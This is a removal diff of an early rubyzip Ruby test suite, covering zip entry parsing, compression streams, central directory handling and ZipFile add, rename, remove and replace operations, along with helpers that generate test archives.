assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - 